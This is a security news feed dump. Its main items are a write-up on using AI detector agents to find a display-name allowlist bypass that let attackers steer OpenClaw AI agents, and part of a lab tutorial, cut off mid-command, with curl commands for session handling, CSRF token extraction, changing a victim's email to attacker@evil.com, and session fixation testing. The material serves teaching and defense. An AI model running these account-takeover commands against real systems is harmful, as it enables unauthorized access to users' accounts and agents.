<p>The post <a href="https://www.itsecuritynews.info/64000-accounts-exposed-in-breach-of-gta-v-cheat-service-atlas-menu/">64,000 accounts exposed in breach of GTA V cheat service Atlas Menu</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[From Regex to Vision Models: Which RAG Technique Fits Which Problem]]></title>
<description><![CDATA[Enterprise Document Intelligence [Vol.1 #4] - A diagnostic across PDFs and questions, and a map of the techniques the rest of the series will cover
The post From Regex to Vision Models: Which RAG Technique Fits Which Problem appeared first on Towards Data Science.]]></description>
<link>https://tsecurity.de/de/3566330/ai-nachrichten/from-regex-to-vision-models-which-rag-technique-fits-which-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3566330/ai-nachrichten/from-regex-to-vision-models-which-rag-technique-fits-which-problem/</guid>
<pubDate>Tue, 02 Jun 2026 15:49:01 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprise Document Intelligence [Vol.1 #4] - A diagnostic across PDFs and questions, and a map of the techniques the rest of the series will cover</p>
<p>The post <a href="https://towardsdatascience.com/from-regex-to-vision-models-which-rag-technique-fits-which-problem/">From Regex to Vision Models: Which RAG Technique Fits Which Problem</a> appeared first on <a href="https://towardsdatascience.com/">Towards Data Science</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[64,000 accounts exposed in breach of GTA V cheat service Atlas Menu]]></title>
<description><![CDATA[Atlas Menu, a cheat service for Grand Theft Auto V and Counter-Strike 2, has been added to the Have I Been Pwned database following a data breach that exposed tens of thousands of user records. The incident exposed approximately 64,000 accounts, including email addresses, usernames, IP addresses,...]]></description>
<link>https://tsecurity.de/de/3566190/it-security-nachrichten/64000-accounts-exposed-in-breach-of-gta-v-cheat-service-atlas-menu/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3566190/it-security-nachrichten/64000-accounts-exposed-in-breach-of-gta-v-cheat-service-atlas-menu/</guid>
<pubDate>Tue, 02 Jun 2026 15:08:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Atlas Menu, a cheat service for Grand Theft Auto V and Counter-Strike 2, has been added to the Have I Been Pwned database following a data breach that exposed tens of thousands of user records. The incident exposed approximately 64,000 accounts, including email addresses, usernames, IP addresses, support tickets, and passwords hashed with bcrypt. The attacker claimed to have compromised all Atlas systems before leaking the service’s database through a public GitHub repository. In a … <a href="https://www.helpnetsecurity.com/2026/06/02/atlas-menu-cheat-service-data-breach/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/06/02/atlas-menu-cheat-service-data-breach/">64,000 accounts exposed in breach of GTA V cheat service Atlas Menu</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[One Agent, Five Zero-Days: Turning Past CVEs Into SAST Rules]]></title>
<description><![CDATA[IntroductionEvery security engineer has seen a bug get reported, patched, written up in a postmortem, and then watched a similar bug show up six months later in a different module of the same product. Same root cause, same fix. Sometimes the same engineer writes both versions.This happens for the...]]></description>
<link>https://tsecurity.de/de/3564984/hacking/one-agent-five-zero-days-turning-past-cves-into-sast-rules/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3564984/hacking/one-agent-five-zero-days-turning-past-cves-into-sast-rules/</guid>
<pubDate>Tue, 02 Jun 2026 07:20:18 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Introduction</h3><p>Every security engineer has seen a bug get reported, patched, written up in a postmortem, and then watched a similar bug show up six months later in a different module of the same product. Same root cause, same fix. Sometimes the same engineer writes both versions.</p><p>This happens for the obvious reason. Large products have the same primitives reimplemented in many places. Authorization checks, input parsing, identity resolution, and tenant boundaries get rewritten by different teams at different times, often without anyone realizing it. When one team learns a lesson the hard way, that lesson lives in a postmortem doc and the heads of whoever was on call. Once the fix ships, people forget about it and move on.</p><p>Traditional SAST does not catch these repeats. It does not know what your authorization code looks like, where your tenant boundaries are, or which internal abstractions your team keeps getting wrong. The bugs that actually hurt you sit one layer below anything an off-the-shelf ruleset can see.</p><p>In this article I want to show how you can use past incident reports to catch these repeats with specialized AI agents, and walk through how I used this approach to find five zero-days in OpenClaw.</p><h3>OpenClaw</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XBKDrt7tjh3TpyhpNpt1IA.jpeg"></figure><p>OpenClaw is a self-hosted gateway for AI agents. The operator installs it on their own machine, points it at a language model (Claude, GPT, or a local model via Ollama), and connects it to whichever chat platforms they want to message the agent from. It supports more than twenty channels in total, including Slack, Discord, Matrix, Microsoft Teams, Telegram, WhatsApp, iMessage, Signal, and Zalo. With over 375,000 GitHub stars as of late May 2026, it is one of the more widely adopted open source projects in the AI agent space.</p><p>Each channel comes with its own allowlist. The operator specifies which users on that platform are permitted to message the agent, and that allowlist is the entire security model. If you can get yourself onto it, you can steer a tool-enabled AI agent that the operator trusts to act on their behalf. Depending on what the agent is wired up to do, that can mean reading files, sending messages, running shell commands, or hitting internal APIs. The consequences of an allowlist bypass on OpenClaw are not “an attacker leaks some data.” They are “an attacker drives your agent.”</p><p>The Telegram channel extension had a public advisory filed against it (GHSA-mj5r-hh7j-4gxf) for resolving non-numeric allowlist entries through mutable Telegram display names. It got patched in the Telegram module, and the project moved on.</p><h3>agentgg CLI</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vF_Hq_-0kEd85MD5aGbS7w.jpeg"><figcaption>agentgg.dev</figcaption></figure><p>The next section walks through how I built detectors from OpenClaw’s past advisories and ran them against the codebase. That workflow needs a runner. The runner I used is agentgg.</p><p>agentgg is an open source CLI for agentic SAST. Think Nuclei, but for AI agents instead of YAML templates. Agents are markdown files with YAML frontmatter and a prompt body. Every agent is a tool-enabled investigation (Read, Glob, Grep) that declares where to look; there are no separate execution modes anymore. The runner dispatches the agents across a target codebase, validates each finding, and produces GHSA-shaped reports.</p><p>A scan runs in three phases, each writing a durable artifact under a state directory so the steps are inspectable and resumable. Recon is a fast survey that writes a project brief (languages, frameworks, auth model, integrations) and feeds it into the later phases so agents start oriented. Preconditions gate each selected agent, deciding whether it is worth running on this repo at all. Then each queued agent runs over its file set in batches, an optional validation pass classifies each finding as confirmed, false-positive, out-of-scope, or uncertain, and an optional scoring pass attaches a CVSS 3.1 severity.</p><p>Out of the box, agentgg ships with over 100 pre-built agents covering common security vulnerabilities, anti-patterns, and codebase recon. Custom agents can be installed into the agent directory or passed inline at scan time, which is the path I used for the OpenClaw-specific detectors. The CLI is built for CI/CD and integrates with GitHub Actions, with a diff mode that scopes a scan to only the files changed in a pull request.</p><p>It is on npm as agentgg and on GitHub under <a href="https://github.com/agentgg-dev/agentgg">agentgg-dev/agentgg</a>.</p><h3>One agent, five zero-days</h3><p>The input was the Telegram advisory along with the other public CVEs filed against OpenClaw’s channel extensions. I fed them into an agent-creation flow I built that reads past advisories and writes one agent per recurring bug pattern it finds.</p><p>The flow returned twelve agents, each targeting a distinct anti-pattern specific to OpenClaw. Examples include openclaw-audit-allowlist-identity-hunter (mutable identifiers used at trust boundaries), openclaw-audit-exec-policy-bypass-hunter (execution policy bypasses), and openclaw-audit-trusted-event-ingress-hunter (trust placement on unverified inbound events). The full set is published at <a href="https://github.com/agentgg-dev/agentgg-agents/tree/main/openclaw">agentgg-dev/agentgg-agents/openclaw</a>. These are not generic CWE patterns. They are OpenClaw-shaped detectors derived from OpenClaw-shaped bugs.</p><p>I ran all twelve agents against the OpenClaw repository.</p><p>Eleven returned zero findings. The bug shapes from the original advisories had stayed patched.</p><p>One agent returned findings: openclaw-audit-allowlist-identity-hunter. It flagged the same bug shape in five separate channel extensions: Slack, Discord, Matrix, Zalo, and Microsoft Teams.</p><p>The bug, simplified. Each of these channel extensions accepts an allowlist of users in human-readable form, for example "allowFrom": ["Alice"]. At gateway startup, the extension resolves those names against the platform's user directory and replaces the human-readable entry with a stable user ID. The runtime allowlist check then runs against the resolved ID. The problem is that "Alice" on Slack, Discord, Matrix, Zalo, and Teams is a mutable field. Any other user on the platform can set their display name, or their nickname in Discord's case, to "Alice" with no admin approval. On the next gateway restart, the resolution path binds the attacker's ID into the allowlist instead of the legitimate user's. The attacker can now message the agent. The legitimate user is silently rejected.</p><p>Same root cause, five platforms. Each channel extension was written separately by different contributors, and the lesson from the Telegram advisory never propagated to any of the others. All five findings have been acknowledged and patched by the OpenClaw maintainers.</p><p>Findings</p><ul><li>Slack: <a href="https://github.com/openclaw/openclaw/security/advisories/GHSA-c29c-2q9c-pc86">GHSA-c29c-2q9c-pc86</a></li><li>Zalo: <a href="https://github.com/openclaw/openclaw/security/advisories/GHSA-8c59-hr4w-qg69">GHSA-8c59-hr4w-qg69</a></li><li>Matrix: <a href="https://github.com/openclaw/openclaw/security/advisories/GHSA-7hxm-f538-3xp6">GHSA-7hxm-f538–3xp6</a></li><li>Discord: <a href="https://github.com/openclaw/openclaw/security/advisories/GHSA-cw4q-gqg5-g38h">GHSA-cw4q-gqg5-g38h</a></li><li>MS Teams: <a href="https://github.com/openclaw/openclaw/security/advisories/GHSA-7w4v-g4m6-j88v">GHSA-7w4v-g4m6-j88v</a></li></ul><h3>The root cause, at the code level</h3><p>OpenClaw already knows display names are unsafe. Several channels expose an opt-in flag, dangerouslyAllowNameMatching (read via isDangerousNameMatchingEnabled(account.config)), off by default. An operator who never sets it expects ID-only matching. The bug is that name matching still happens, because one code path does not consult the flag.</p><p>There are two layers. The runtime gate (isSenderAllowed, per message) was usually fine: it compared the stable ID. The startup resolution was not. It took the configured names, looked them up in a directory, and wrote the resulting IDs into account.config.allowFrom without ever checking the flag. That is where all five findings lived.</p><p>The canonical shape, from the patched Zalo extension:</p><pre>const friends = await listZaloFriends(profile);<br>const byName  = buildNameIndex(friends, (friend) =&gt; friend.displayName);<br>const { additions, mapping } = resolveUserAllowlistEntries(allowFromEntries, byName);<br>const allowFrom = mergeAllowlist({ existing: account.config.allowFrom, additions });<br>account = { ...account, config: { ...account.config, allowFrom } };<br>summarizeMapping("zalouser users", mapping, unresolved, runtime);</pre><p>The index is keyed on the mutable friend.displayName. So an operator writes allowFrom: ["Alice"], an attacker sets their own display name to Alice, and on the next restart the resolver binds the attacker's stable ID (whichever the API returns first) into the allowlist. The attacker can now drive the agent; the real Alice is rejected. The only signal is one summarizeMapping log line. This is CWE-639.</p><p>Same root cause, five extensions. Zalo, shown above, is the client-side version: a name index built from the friend list, keyed on displayName. Slack is the server-directory version: users.list matched against name, displayName, or realName, resolved in monitor/provider.ts with a second, parallel per-channel users block that had to be fixed separately. The other three (Discord, Matrix, and MS Teams) followed the same pattern with different directory calls. Matrix was the worst of them: it had no opt-in flag wired at all, so name matching was never gated in the first place.</p><p>The Slack fix (commit b895c6d, PR #77898) makes it concrete. Before, the directory lookup ran for every entry with no flag check:</p><pre>// before<br>const resolvedUsers = await resolveSlackUserAllowlist({ token: resolveToken, entries: allowEntries });<br>const { mapping, unresolved, additions } = buildAllowlistResolutionSummary(resolvedUsers, { formatResolved: formatSlackUserResolved });<br>allowFrom = mergeAllowlist({ existing: allowFrom, additions });<br>ctx.allowFrom = normalizeAllowList(allowFrom);<br>summarizeMapping("slack users", mapping, unresolved, runtime);</pre><p>After, stable IDs resolve locally with no lookup, and the name lookup runs only behind the flag:</p><pre>// after (commit b895c6d)<br>const allowNameMatching = isDangerousNameMatchingEnabled(slackCfg);<br><br>// resolveStableSlackUserAllowlistEntries accepts only &lt;@U...&gt;, slack:/user: prefixed, bare U.../W...<br>const stableResolvedUsers = resolveStableSlackUserAllowlistEntries(allowEntries);<br>if (stableResolvedUsers.length &gt; 0) {<br>  const { mapping, additions } = buildAllowlistResolutionSummary(stableResolvedUsers, { formatResolved: formatSlackUserResolved });<br>  allowFrom = mergeAllowlist({ existing: allowFrom, additions });<br>  ctx.allowFrom = normalizeAllowList(allowFrom);<br>  summarizeMapping("slack users", mapping, [], runtime);<br>}<br><br>if (allowNameMatching) {<br>  const resolvedUsers = await resolveSlackUserAllowlist({ token: resolveToken, entries: allowEntries });<br>  // merge resolved IDs into allowFrom, same as before<br>}</pre><p>The per-channel users block got the same gate. Full diff: <a href="https://github.com/openclaw/openclaw/commit/b895c6d939feffbb1afb08ae88eace6565bba172">https://github.com/openclaw/openclaw/commit/b895c6d939feffbb1afb08ae88eace6565bba172</a></p><h3>The detector agent</h3><p>Detectors are plain markdown. Full file: agentgg-dev/agentgg-agents/openclaw/openclaw-audit-allowlist-identity-hunter.md<a href="https://github.com/agentgg-dev/agentgg-agents/blob/main/openclaw/openclaw-audit-allowlist-identity-hunter.md">[ref</a>]. Its frontmatter now references the five advisories it found; the first revision cited only the Telegram seed.</p><pre>---<br>slug: openclaw-audit-allowlist-identity-hunter<br>name: Allowlist Identity Audit — Hunter (OpenClaw chat-channel extensions)<br>description: Audits chat-channel extensions for allowlist-bypass bugs where inbound sender/group identity is matched against a mutable field (display name, username, handle, email, group title) without the operator's `dangerouslyAllowNameMatching` opt-in. An attacker who can rename themselves to an allowlisted value slips past the allowlist without the operator ever flipping a dangerous flag.<br>version: 0.1.0<br>author: agentgg<br>noiseTier: normal<br>precondition:<br>  prompt: |<br>    Run only if this codebase IS OpenClaw — the chat-channel automation<br>    platform — or one of its first-party extensions/connectors. Skip any<br>    project that merely depends on or integrates with OpenClaw. If the recon<br>    brief doesn't clearly indicate an OpenClaw codebase, answer no.<br>where:<br>  extensions: [ts, tsx, js, jsx, mjs, cjs]<br>  excludePatterns:<br>    - "**/e2e/**"<br>    - "**/*test*/**"<br>    - "**/__tests__/**"<br>    - "**/fixtures/**"<br>  preFilter:<br>    - { regex: "allow[_-]?list|allowList", label: "allowlist reference" }<br>    - { regex: "senderUsername|from\\.username|displayName|dangerouslyAllowNameMatching|groupTitle", label: "mutable identity field" }<br>references:<br>  - GHSA-c29c-2q9c-pc86<br>  - GHSA-8c59-hr4w-qg69<br>  - GHSA-cw4q-gqg5-g38h<br>  - GHSA-7hxm-f538-3xp6<br>  - GHSA-7w4v-g4m6-j88v<br>---<br><br>&lt;Security prompt goes here. See https://github.com/agentgg-dev/agentgg-agents/blob/main/openclaw/openclaw-audit-allowlist-identity-hunter.md&gt;</pre><p>It also tells the agent where to read first (monitor.ts, then its siblings, then the resolve/account/pairing files) and carries an acceptance gate matching OpenClaw's security policy (reject trusted-operator-only, multi-tenant, and parity-only findings). That gate is why it confirmed five and stayed quiet on the rest instead of flagging every displayName.</p><h3>The commands</h3><p>Full-repo scan of OpenClaw with the allowlist agent. We ran the agents over the whole checkout, not a diff, which is how all five turned up in one pass.</p><pre># --scope: OpenClaw's SECURITY.md, so the validator can mark out-of-scope findings<br># --validate: second-pass classification   --score: CVSS   -v: verbose   --serve: open the UI<br>agentgg scan .\openclaw -t openclaw-audit-allowlist-identity-hunter --scope .\SECURITY.md --validate --score -v --output .\scan-results-openclaw-full --serve<br>agentgg view .\scan-results-openclaw-full</pre><p>Point -t at the openclaw agent directory to run all twelve. Eleven found nothing; those bugs stayed patched.</p><p>For full base-library template scan you can run:</p><pre>agentgg scan .\src -t base\ --exclude "*/e2e/*" --exclude "*/test/*" --validate --score -v --output .\scan-results-src --serve<br>agentgg view .\scan-results-src</pre><p>Install with npm install -g agentgg, then run agentgg init once to set a provider. Paths above are PowerShell style; on macOS or Linux use ./.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*AVfjet2DCPT8wpud.png"><figcaption>Example view after running full base on juice shop</figcaption></figure><p>Instead of a doc, create a runnable detector agent. The agent encodes the lesson in a markdown file and reads every pull request from then on. Agents are written in plain language, so you can draft one in the time it takes to write the postmortem.</p><p>The workflow:</p><ol><li>Mine your incident history. Bug bounty reports, internal SEV writeups, audit findings, public CVEs.</li><li>Pull out the recurring bug patterns. The ones that show up in more than one postmortem are the ones you most want detectors for.</li><li>Write one agent per pattern. Markdown file, what to look for, what counts as a finding.</li><li>Run them in CI on every pull request.</li></ol><p>Step four is the one that matters most. A one-time full-repo scan is useful and is how I ran the OpenClaw experiment, but it is not the operating mode that solves this problem long-term. A full scan tells you what is wrong today. It does not stop the next instance of the same bug from shipping next quarter. To do that, the agents need to run on every merge request. agentgg has a diff mode for exactly this. Scope the scan to the files changed in the PR, post the findings as a check, and block the merge if a confirmed finding is high enough severity. The cost per scan stays low because you are only paying for the changed files, and the feedback lands while the code is still in review.</p><p>That is the loop. You are turning your bug history into a continuously-running check that the next instance of the same mistake does not ship.</p><h3>Conclusion</h3><p>The OpenClaw experiment took twelve agents derived from past advisories and found five zero-days in a single scan. Eleven agents found nothing, which means the original bugs had stayed fixed. One agent found the same root cause repeated across five different channel extensions.</p><p>This is the pattern any large engineering org should be running against itself. Take your past incidents, turn each recurring one into an agent, and run those agents on every pull request. Your postmortems are most of the agent prompt. Your CI is most of the runner. agentgg is the rest.</p><p>If you want to try this on your own codebase, agentgg is on npm and on GitHub at <a href="https://github.com/agentgg-dev/agentgg">agentgg-dev/agentgg</a>. For teams that want this run for them rather than wiring it into their own CI, we are building a managed version. The waitlist is at <a href="https://agentgg.dev/">agentgg.dev</a>.</p><h3>Links</h3><p>Site: <a href="https://agentgg.dev/">https://agentgg.dev</a><br>npm: <a href="https://www.npmjs.com/package/agentgg">https://www.npmjs.com/package/agentgg</a><br>GitHub: <a href="http://agentgg.dev/">http://agentgg.dev/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=650c32b20032" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/one-agent-five-zero-days-turning-past-cves-into-sast-rules-650c32b20032">One Agent, Five Zero-Days: Turning Past CVEs Into SAST Rules</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Auth Mastery Part 2: Sessions, Cookies, and Staying Authenticated]]></title>
<description><![CDATA[Getting in once is easy. Staying in across ten requests is the skill.Series: curl — The Request Engine You Never Learned Properly Article: 6B of 16Article 6A got you authenticated. This article keeps you authenticated.A single authenticated request proves the credentials work. A multi-step attack...]]></description>
<link>https://tsecurity.de/de/3564980/hacking/auth-mastery-part-2-sessions-cookies-and-staying-authenticated/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3564980/hacking/auth-mastery-part-2-sessions-cookies-and-staying-authenticated/</guid>
<pubDate>Tue, 02 Jun 2026 07:20:13 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4>Getting in once is easy. Staying in across ten requests is the skill.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uQUxe0sdnJIjg8Pfhhoqsg.png"></figure><blockquote><strong><em>Series:</em></strong><em> curl — The Request Engine You Never Learned Properly </em><strong><em>Article:</em></strong><em> 6B of 16</em></blockquote><p>Article 6A got you authenticated. This article keeps you authenticated.</p><p>A single authenticated request proves the credentials work. A multi-step attack workflow — login, enumerate, attack, extract — requires that authentication persist across every request. With a browser, this happens automatically. With curl, you manage it yourself.</p><p>This article covers cookie jars, session persistence, CSRF token handling, and OAuth2 flows. These are the stateful plumbing skills that every THM/HTB machine with a login page will require from you.</p><h3>How Sessions Work Over HTTP</h3><p>HTTP is stateless. Each request is independent — the server has no memory of previous requests by default.</p><p>Applications solve this with sessions: after a successful login, the server creates a session record and sends the client a session identifier in a Set-Cookie header. The client sends this identifier back with every subsequent request in the Cookie header. The server looks up the identifier and retrieves the session data.</p><p>Without a session cookie, every request you make after login is treated as a fresh, unauthenticated request.</p><p>With curl, you are responsible for capturing the session cookie from the login response and sending it with every subsequent request. The cookie jar system automates this.</p><h3>Cookie Jar Mechanics</h3><p>Two flags. Get the order right — beginners constantly reverse them.</p><p><strong>-c — Save cookies to a file (capture)</strong></p><pre>curl -c cookies.txt http://target.com/login</pre><p>-c appends any cookies from the server's Set-Cookie response headers into the file. This is the collection step.</p><p><strong>-b — Send cookies from a file (use)</strong></p><pre>curl -b cookies.txt http://target.com/dashboard</pre><p>-b reads cookies from the file and sends them in the Cookie header of the outgoing request. This is the authentication step.</p><p><strong>The memory rule:</strong> -c = <strong>c</strong>ollect. -b = <strong>b</strong>ring.</p><p><strong>Both together — the login and persist pattern:</strong></p><pre># Login: collect the session cookie<br>curl -s \<br>  -c cookies.txt \<br>  -d "username=admin&amp;password=password" \<br>  http://127.0.0.1:8080/login</pre><pre># Use the session on the next request<br>curl -s \<br>  -b cookies.txt \<br>  <a href="http://127.0.0.1:8080/dashboard">http://127.0.0.1:8080/dashboard</a></pre><pre>Login successful. Welcome, admin.</pre><pre>[Dashboard] Authenticated as: admin<br>Session active. You have access to protected resources.</pre><p>The first request hit the login endpoint, credentials matched, and the server issued a Set-Cookie header — -c wrote it to cookies.txt. The second request read that file with -b and sent the session token in the Cookie header. The server recognized it and returned authenticated content.</p><p><strong>Inspect what is in your cookie jar:</strong></p><pre>cat cookies.txt</pre><pre># Netscape HTTP Cookie File<br># https://curl.haxx.se/docs/http-cookies.html<br># This file was generated by libcurl! Edit at your own risk.<br>127.0.0.1	FALSE	/	FALSE	0	session	d52f6273029c4c769beeda5dfd618d34</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*7KGlSJTz-YHkYJpIfmW4hQ.png"><figcaption>Login with -c captures the session cookie. The dashboard confirms it works. cat cookies.txt shows what libcurl actually stored — domain, flags, expiry, and the token itself in Netscape format.</figcaption></figure><p>The cookie jar is plain text in the Netscape cookie format. Each data line is tab-separated with seven fields: domain, include-subdomains flag, path, secure flag, expiry timestamp, cookie name, and cookie value.</p><p>In this line: 127.0.0.1 is the domain. FALSE in the second field means the cookie does not apply to subdomains. FALSE in the fourth field means the Secure flag is not set. 0 In the fifth field means no expiry — a session cookie that lives until the server invalidates it or you delete the jar. session is the cookie name. The hex string is the token value the server will validate on every subsequent request.</p><p>Reading the jar tells you what session identifiers you have captured. Whether they are still valid, you find out only by using them — the jar itself does not track server-side session state.</p><h3>Session Persistence Across Multiple Requests</h3><p>A real attack workflow is not two requests — it is many. You need the session to persist across the entire chain.</p><p>Use the same cookie jar file for every request in the workflow:</p><pre># 1. Login<br>curl -s -c jar.txt -d "username=admin&amp;password=pass" http://target.com/login</pre><pre># 2. Enumerate users (authenticated endpoint)<br>curl -s -b jar.txt <a href="http://target.com/api/users">http://target.com/api/users</a></pre><pre># 3. Access target resource<br>curl -s -b jar.txt <a href="http://target.com/api/users/5/profile">http://target.com/api/users/5/profile</a></pre><pre># 4. Perform action<br>curl -s -b jar.txt \<br>  -X POST \<br>  -H "Content-Type: application/json" \<br>  -d '{"email":"attacker@evil.com"}' \<br>  <a href="http://target.com/api/users/5/email">http://target.com/api/users/5/email</a></pre><p>The same jar.txt file threads authentication through every step. One login, many requests.</p><p>If the session expires or the cookie is rejected, you will often see a redirect to the login page or a 401. When that happens:</p><ol><li>Delete the cookie jar: rm jar.txt</li><li>Re-run the login request</li><li>Continue from where the chain broke</li></ol><p><strong>Combining </strong><strong>-c and </strong><strong>-b for automatic cookie refresh:</strong></p><pre>curl -c jar.txt -b jar.txt http://127.0.0.1:8080/endpoint</pre><pre>==================================================<br>  curl Lab Echo Server<br>==================================================<br>METHOD       : GET<br>PATH         : /endpoint<br>FULL URL     : /endpoint<br>--- REQUEST HEADERS ---<br>  Host: 127.0.0.1:8080<br>  User-Agent: curl/7.68.0<br>  Accept: */*<br>--- QUERY STRING PARAMS ---<br>  (none)<br>--- RAW BODY ---<br>  (empty)<br>--- PARSED BODY PARAMS ---<br>  (none)<br>==================================================</pre><p>Using both flags simultaneously tells curl to send existing cookies from the jar and write any new cookies the server sends back. This handles session renewal — if the server rotates the session cookie mid-workflow, the jar is updated automatically. When the jar starts empty (as above), no Cookie header appears in the outgoing request. Once a login populates it, every subsequent combined-flag request both sends and refreshes.</p><h3>Set-Cookie Attributes and What They Mean for Your Testing</h3><p>When you inspect responses in verbose mode, you will see cookie attributes alongside the values. These affect both security posture and your testing approach.</p><pre>curl -v http://target.com/login -d "username=admin&amp;password=pass" 2&gt;&amp;1 | grep "Set-Cookie"</pre><pre>&lt; Set-Cookie: session=d52f6273029c4c769beeda5dfd618d34; Path=/</pre><p><strong>HttpOnly</strong> — The cookie cannot be accessed by JavaScript. This is a defense against XSS-based cookie theft. For your curl testing, it makes no difference — curl sends HTTP requests, not JavaScript. But if you find a stored XSS and the session cookie is HttpOnly, cookie theft via XSS is blocked.</p><p><strong>Secure</strong> — The cookie is only transmitted over HTTPS connections. If a cookie carries the Secure flag and you are testing over plain HTTP, it will not be sent — a common source of confusion in lab environments. One exception: curl treats http://localhost and http://127.0.0.1 as secure contexts and may still send Secure-flagged cookies there. Do not rely on that behavior when concluding production targets.</p><p><strong>SameSite</strong> — Controls when the cookie is sent on cross-origin requests. Strict means the cookie is only sent on same-origin requests. Lax allows some cross-origin requests (top-level navigation). None means the cookie is always sent — required for cross-origin use, but note that SameSite=None requires the Secure flag in modern browsers, and it enables CSRF if additional protections are absent.</p><p>A cookie without an SameSite attribute is treated as SameSite=Lax In modern browsers, the behavior that shifted in 2020 varies by browser version. Note this when cataloging cookies during recon.</p><h3>CSRF Token Extraction and Reuse</h3><p>Many web applications protect state-changing endpoints with CSRF tokens — session-tied values embedded in forms. When you submit a form, the server checks that the CSRF token in the request matches the one it issued. This prevents cross-site request forgery.</p><p>For curl-based testing, CSRF tokens are an obstacle: you cannot POST to a protected form endpoint without first fetching the valid token from the form page.</p><p>The workflow — use a single jar file throughout:</p><pre># Step 1: Authenticate and fetch the form page, extracting the CSRF token<br>CSRF=$(curl -s -c jar.txt -b jar.txt http://127.0.0.1:8080/settings | \<br>  grep -oP '(?&lt;=name="csrf_token" value=")[^"]*')</pre><pre>echo "CSRF token: $CSRF"</pre><pre>CSRF token: csrf_abc123xyz789_lab</pre><p>grep -oP uses Perl-compatible regex with a lookbehind to extract the token value. Note that -P (PCRE) requires GNU grep — it is standard on most Linux systems, but may not be available on BSD or macOS without installing grep separately. If grep -oP fails, grep -o 'value="[^"]*"' is a portable fallback that gets you close.</p><p>The pattern above assumes the form field looks like:</p><pre>&lt;input type="hidden" name="csrf_token" value="abc123xyz"&gt;</pre><p>Adjust the field name to match your target. Common names: csrf_token, _token, csrfmiddlewaretoken, authenticity_token. When in doubt, use grep -i csrf on the form HTML to find them.</p><p><strong>Step 2: Use the token in your request:</strong></p><pre>curl -s \<br>  -b jar.txt \<br>  -d "email=attacker@evil.com&amp;csrf_token=$CSRF" \<br>  http://127.0.0.1:8080/change-email</pre><pre>Email updated successfully.<br>User: admin<br>New email: attacker@evil.com</pre><p>The key insight: the CSRF token must come from the same session. The combined -c jar.txt -b jar.txt In step 1, both send the existing session cookie and capture any renewed cookie the server issues. Step 2 sends that same session back with the extracted token. The server validates that the CSRF token belongs to that session — a token from a different session will be rejected.</p><p><strong>Compact one-liner — for reference, not the recommended workflow:</strong></p><pre>curl -s -c jar.txt \<br>  -d "email=attacker@evil.com&amp;csrf_token=$(curl -s -c jar.txt -b jar.txt http://target.com/form | grep -oP '(?&lt;=csrf_token" value=")[^"]*')" \<br>  -b jar.txt \<br>  http://target.com/change-email</pre><p>This is the inline extraction pattern you will see in one-liner exploit scripts. It works, but it is brittle — a form field name change or encoding difference breaks the inner command silently and sends an empty token. Use the two-step version in any workflow you need to debug.</p><h3>Session Fixation Testing</h3><p>Session fixation is a vulnerability where an attacker forces a known session ID onto a victim before authentication, and the server preserves that same ID after login. Because the attacker already knows the ID, they can use it to access the now-authenticated session.</p><p>Test it with curl:</p><pre>curl -v \<br>  -b "PHPSESSID=attackercontrolledvalue" \<br>  http://10.48.179.222/cookie.php \<br>  -d "username=admin&amp;password=admin" 2&gt;&amp;1 | grep -E "Set-Cookie|HTTP/"</pre><pre>* using HTTP/1.x<br>&gt; POST /cookie.php HTTP/1.1<br>&lt; HTTP/1.1 200 OK</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*dnGSGvZVzFkwXpon9eNFIw.png"><figcaption>Session fixation test — a crafted PHPSESSID sent at login, output filtered to show only Set-Cookie and HTTP status lines. No new cookie in the response. The interpretation depends on the target's session mechanism — see the article for what each outcome means.</figcaption></figure><p>No Set-Cookie in the response. This particular target does not use PHP sessions — it uses a different session mechanism — so this result is not conclusive for fixation either way.</p><p>On a PHP application, the response tells you more. If you see:</p><pre>&lt; Set-Cookie: PHPSESSID=newrandomvalue; Path=/</pre><p>The server regenerated the session on login — the crafted value was discarded. No fixation vulnerability.</p><p>If you see:</p><pre>&lt; Set-Cookie: PHPSESSID=attackercontrolledvalue; Path=/</pre><p>The server kept your value and attached it to the authenticated session. That is session fixation. The real confirmation step is to make an authenticated request using your crafted value and verify it succeeds — a new cookie in the login response is a signal, not the finding itself.</p><h3>OAuth2 Bearer Token Flow (Surface Level)</h3><p>OAuth2 is a delegation framework with several grant types. The one you encounter most often in lab environments is the Resource Owner Password Credentials grant — the client sends credentials directly and receives a token. Note that this grant type is discouraged in modern OAuth2 deployments in favor of the Authorization Code flow, but it appears regularly in older APIs and internal tooling.</p><pre># Step 1: Request an access token<br>RESPONSE=$(curl -s \<br>  -X POST \<br>  -H "Content-Type: application/x-www-form-urlencoded" \<br>  -d "grant_type=password&amp;username=admin&amp;password=password&amp;client_id=myapp" \<br>  http://127.0.0.1:8080/oauth/token)</pre><pre>echo $RESPONSE | python3 -m json.tool<br>ACCESS_TOKEN=$(echo $RESPONSE | python3 -c "import sys,json; 